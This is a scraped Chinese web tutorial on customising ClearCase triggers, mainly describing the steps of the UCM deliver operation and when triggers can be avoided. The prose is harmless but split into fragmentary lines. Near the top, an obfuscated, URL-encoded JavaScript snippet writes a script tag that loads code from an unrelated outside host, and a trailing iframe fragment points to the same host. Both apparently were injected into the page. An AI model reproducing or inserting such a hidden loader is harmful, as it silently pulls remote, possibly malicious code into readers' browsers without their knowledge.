ClearCase Trigger指南(6

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

ClearCase Trigger指南(6

ger



本文欢迎任何非商业用途转载，请注明作者，出处。
根据需要定制
Trigger
优化
ClearCase
，支持配置管理流程
配置管理是一个系统，包括三部分：工具、人员、配置管理的流程与纪律，工具的目的是在流程与纪律的约束下，配合人员、简化人员的工作；经常有这样的情况发生，我们可以找到许多
ClearCase
的脚本和
Trigger
，但是拿来用时并不尽如人意，常有一些意想不到的问题发生，带来许多麻烦。这就应了一句话：“江南为桔，江北为枳”，我们需要根据自身的实际情况来修改与定制脚本与
Trigger
。
第一步要确定配置管理的流程制度，这取决于我们要做一个什么样的软件，是一个项目，还是半定制的产品、或是产品线或其他类型，这些是配置管理系统的根基，配置管理系统的任务就是服务好这个目标；根据目标与组织结构确定开发的方式，不同的目标与组织结构要使用不同的开发方式，如果只是一个简单的项目，则没有必须进行并行开发，如果是产品线，则并行开发是不可避免的；目标、组织结构与开发方式共同决定了配置管理的流程与制度。
在流程与制度确定后，我们要看一下
Rational ClearCase
及
UCM
是否满足流程与制度的需要。在这里需要注意的是，工具只是配合流程与制度的，而不能决定流程与制度，一些配置管理的新手在这一阶段常常不由自主的根据工具来决定流程与制度。如果我们使用
UCM
，这时要决定
Project
和
Stream
，再根据组织结构与任务安排确定每个
Project
、
Stream
上的项目的配置
Policy
；最后在流程与制度中寻找当前
UCM
所不支持的部分，看一下是否需要应用
Trigger
或脚本来实现。
在定制流程时，如果要应用
Trigger
，则要对
Trigger
所针对的
ClearCase
操作有深入的了解，这样才能写出有效的
Trigger
。例如：如果要针对
deliver_start
这个创建
Trigger
，则要了解
deliver
这个
clearcase
操作具体步骤，以下是我对
deliver
这个
clearcase
操作的理解：
1.
       
检查当前流上是否有一个
Deliver
或
Rebase
正在进行中，如果有，则提示当前正有一个
Deliver
或
Rebase
过程在运行中。
2.
       
检查目标流的
Deliver policy
，如果不符合
Stream policy
，则拒绝执行
deliver
并给出提示。
3.
       
检查源流的
Deliver Policy
，如果不符合
Stream policy
，则拒绝执行
deliver
并给出提示。
4.
       
选择要提交的活动，检查活动的依赖关系。
5.
       
确定将要进行操作的目标流的视图。
6.
       
检查确定的目标流操作视图上目前是否有
Check out
的配置项，如果有提示，在要提交的目标流的操作视图有
Check out
操作，退出。
7.
       
开始执行
Deliver
操作，这里是
deliver_start
的开始；创建
Deliver
活动，将要操作的目标流视图的当前活动设置为该
Deliver
活动，一般情况下，在
Deliver
没有完成前在图形界面下与命令行中不能修改该视图的当前活动，但是可以通过一些特殊方法进行修改。在这一步开始后，如果以后的任务失败，则要执行
deliver –cancel
才能删除
Deliver
活动，并对
Check out
的配置项进行
Undo Check out
操作。
8.
       
获取每个要提交的
Activity
的变更集。
9.
       
对所有需要在目标流上进行操作的配置项执行
Check out
操作，如果发现当前有配置项已经被
Check out
，记录错误并继续执行，在所有的
Check out
操作执行完毕后，给出在
Deliver
目标流操作视图上无法执行
Check out
的配置项列表并中止
Deliver
活动。注：在第
6
步检查的只是目标视图上是否有
Check out
，可能在其他视图上有
Check out
操作，执行
Deliver
时，要求配置项的
Check out
类型为
Reserved
类型，如果配置项已经在其他视图上进行了
Check out
操作，则不能进行
Reserved
类型
Check out
操作，无法保证在
Deliver
结束可以执行
Check in
操作，所以不能继续进行
Deliver
的归并。
10.
   
将要提交的配置项与目标流上已经
Check out
的配置项进行归并，根据设置进行自动归并或人工归并，如果自动归并失败，进行人工归并，如果某一配置项归并没

有完成，记录错误并继续执行，在所有的归并执行完毕后，给出归并失败的列表并中止
Deliver
活动。
11.
   
如果没有设置
-force
或是在图形界面下，归并完成后，提示用户
Deliver
操作归并完成。在此步还可以对
Deliver
操作进行回滚，到达第
12
步后，则不能进行回滚操作。
12.
   
在本步执行之前都可以执行
deliver_cancel
操作；本步活动是
deliver_complete
的开始；对所有
Deliver
操作的
Check out
的配置项进行
Check in
，在提交的源流打上一个隐藏的
Delivered Label
，同时结束对目标流操作视图当前活动的锁定，
Deliver
操作至此全部结束。
以上步骤是我对
Deliver
操作的理解，不是
Rational ClearCase
给出的指南，由于没有足够信息，所以可能和实际情况有一定偏差。从以上步骤可以看到，在前
6
步进行过检查的，不必设置
deliver_start
的
Preop
类型的
Trigger
进行重复检查。
再次强调，不要完全依赖配置管理工具来做事情，有些情况下用纪律来约束。例如：要求不能在集成流上进行
Check out
操作，则不必设置
Trigger
，通知所有人员严禁在集成流上进行
Check out
操作，在集成流上所有的操作都有记录，如果有人进行了操作，按纪律处理即可。同时，可以不利用
trigger
的，尽量不用
trigger
，例如
derliver
的问题，如果目标流上只允许进行具有
deliver
权限的人员进行
deliver
操作，则不必设置
trigger
，简单的对流进行锁定即可，同时在
exclude
中加入允许操作的人员即可。
为了方便定制流程，
Rational ClearCase
提供了一系列的
Trigger
环境变量，例如：
CLEARCASE_PN
是当前
element
类型
Trigger
的操作对象。可以利用
cleartool man mktrtype
获取有哪些环境变量及这些环境变量的具体含义与使用方法。
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">